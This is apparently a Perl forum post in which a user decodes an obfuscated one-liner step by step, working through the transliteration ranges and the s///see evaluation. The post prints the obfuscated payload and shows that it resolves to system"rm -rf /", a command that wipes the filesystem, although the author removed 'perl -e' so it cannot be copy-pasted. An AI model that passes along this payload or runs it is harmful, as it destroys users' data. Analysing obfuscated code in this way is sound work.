I've stumbled on: cat "test... test... test..." | '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' I excluded 'perl -e' from the string after the pipe, because it's dangerous, so nobody tries it by copying/pasting.
I removed: cat "test... test... test..." because it's erroneous, because cat expects a file name, not a string, then 'perl -e' doesn't have '-n' parameter, which means nothing is being passed to perl from cat, so it's useless.
Then I've started deciphering:

$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see
[download]

I normalized ()?():() and s/// and y/// structures
So far, I've got this:

($?)
    ?(s/;s/s;;$?/)
    :(s//=]=>%-{<-|}<&|`{/);

y/ -\/:-@[-`{-}/`-{\/" -/;

s//$_/see
[download]

Since perl -e doesn't get any input to work on, i.e., $_ is empty and $? is always 0 in this code, so, the following part of a condition is always executed:

s//=]=>%-{<-|}<&|`{/
[download]

Which, I think, is equivalent to:

$_ =~ s//=]=>%-{<-|}<&|`{/;
[download]

so, the normalized code could be simplified to:

s//=]=>%-{<-|}<&|`{/;

y/ -\/:-@[-`{-}/`-{\/" -/;

s//$_/see
[download]

so, s/// would result in:

$_ = "=]=>%-{<-|}<&|`{";
[download]

Then, this string is translated with:

y/ -\/:-@[-`{-}/`-{\/" -/;
[download]

i printed $_ after y/// transliteration and it resulted in:

$_ = 'system"rm -rf /"';
[download]

Please explain, I don't understand, how y/// string above converted '=]=>%-{<-|}<&|`{' to 'system"rm -rf /"'

Update

So, thanx to LanX, I understood now, that the dashes in between of each of 2 characters represent ranges, so, I've manually converted the string with ranges to just a string:

my $r = "";
my $rs = q( -/:-@[-`{-});
$rs =~ s/(.)-(.)/r($1, $2)/ge;
$rs =~ s/([-\/\\])/\\$1/g;

print "$rs\n";

sub r{
  my ($f, $t) = @_;

  my $s = "";
  map { $s .= chr($_) } ord($f)..ord($t);

  return $s;
}
[download]

and got the following string:

$_ = q/ !"#$%&'()*+,\-.\/:;<=>?@[\\]^_`{|}/;
[download]

and did the same thing with the replacement string: "`-{/" -" and got the following string:

$_ = q/`abcdefghijklmnopqrstuvwxyz{\/" \-/;
[download]

so, the translation string becomes:

y/ !"#$%&'()*+,\-.\/:;<=>?@[\\]^_`{|}/`abcdefghijklmnopqrstuvwxyz{\/" 
+\-/;
[download]

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